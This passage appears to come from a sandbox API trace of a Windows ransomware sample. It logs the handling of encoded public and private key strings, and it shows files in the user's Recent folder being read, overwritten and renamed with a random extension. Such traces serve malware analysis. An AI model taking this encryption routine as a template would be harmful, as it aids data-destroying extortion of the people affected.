fCqmc5w7/CtUV/w6DChsOjRBLDswcwCcKfw50CwpzDlMKmBmHDgkDCv8KXacKFw7xyw4fDmiJxw53CpBbCt08DFDMDw4gXwoIFLMOPOcKRw77DpMK5w7Alw7/DgcO8BsOZRFI0w4bDmxLDpRXChcKUw5wyw4vCgnXCv8Odw6ZDwr8qS8ODw6bDksK8wqsFwpHDnUADw6YtBMKlXMK9SMKxMxDCujzCjCNXUMOwMxYcwoUVBcKBcsKXBzN+FUXDpMKiQMOjw6YeworCqMOJOsKiwpfDmD7CtcOIQMOPcSzDscOdwpPDpMO8w5XDsFl3w6DDpMK4A8OLwqDDrR02w7jCo8OKwqxhw7fDpmsvwr7DgcK8XsORM2XClMOKwqjDgU9vXW7CkiTDsWPCq8OUw6fDvgbDvEVhIcOyw51Wwp1ewow8LA9mw7DCtcKAdirCrMKABcOfw6t3wpnDq0XDpE7Co1EQXzFiYsOPCMKcwpg7TsKJw41rwpQGw5DDvA==", lpUsedDefaultChar=0x0) returned 2469 [0084.513] GetCurrentThreadId () returned 0xa30 [0084.513] GetCurrentThreadId () returned 0xa30 [0084.513] GetCurrentThreadId () returned 0xa30 [0084.514] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0084.514] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f848fc, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0084.514] GetCurrentThreadId () returned 0xa30 [0084.514] GetCurrentThreadId () returned 0xa30 [0084.514] GetCurrentThreadId () returned 0xa30 [0084.514] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\WkutMmuC.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\wkutmmuc.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0084.514] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f960*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f960*=0) returned 0x0 [0084.515] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0084.515] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x26e [0084.515] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0084.515] ReadFile (in: hFile=0x124, lpBuffer=0x1f8c700, nNumberOfBytesToRead=0x26e, lpNumberOfBytesRead=0x18f96c, lpOverlapped=0x0 | out: lpBuffer=0x1f8c700*, lpNumberOfBytesRead=0x18f96c*=0x26e, lpOverlapped=0x0) returned 1 [0084.517] CloseHandle (hObject=0x124) returned 1 [0084.517] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\WkutMmuC.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\wkutmmuc.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0084.518] WriteFile (in: hFile=0x124, lpBuffer=0x1f8e730*, nNumberOfBytesToWrite=0x26e, lpNumberOfBytesWritten=0x18f978, lpOverlapped=0x0 | out: lpBuffer=0x1f8e730*, lpNumberOfBytesWritten=0x18f978*=0x26e, lpOverlapped=0x0) returned 1 [0084.520] CloseHandle (hObject=0x124) returned 1 [0084.521] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\WkutMmuC.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\wkutmmuc.lnk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\WkutMmuC.lnk.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\wkutmmuc.lnk.zv7un")) returned 1 [0084.525] GetCurrentThreadId () returned 0xa30 [0084.525] GetCurrentThreadId () returned 0xa30 [0084.532] GetCurrentThreadId () returned 0xa30 [0084.532] GetCurrentThreadId () returned 0xa30 [0084.532] GetCurrentThreadId () returned 0xa30 [0084.532] GetCurrentThreadId () returned 0xa30 [0084.532] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2fd6f20, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe2fd6f20, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe2fd6f20, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x20ac, dwReserved0=0x7a98342e, dwReserved1=0xba1113e9, cFileName="XdgW2PShs.lnk", cAlternateFileName="XDGW2P~1.LNK")) returned 1 [0084.532] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0084.532] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0084.532] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\XdgW2PShs.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\xdgw2pshs.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f9ac | out: lpFileInformation=0x18f9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2fd6f20, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe2fd6f20, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe2fd6f20, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x20ac)) returned 1 [0084.533] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\XdgW2PShs.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\xdgw2pshs.lnk")) returned 0x20 [0084.533] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\XdgW2PShs.lnk", dwFileAttributes=0x80) returned 1 [0084.535] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0084.535] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x1f7389c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0084.537] GetCurrentThreadId () returned 0xa30 [0084.537] GetCurrentThreadId () returned 0xa30 [0084.537] GetCurrentThreadId () returned 0xa30 [0084.537] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0084.537] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f848fc, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: 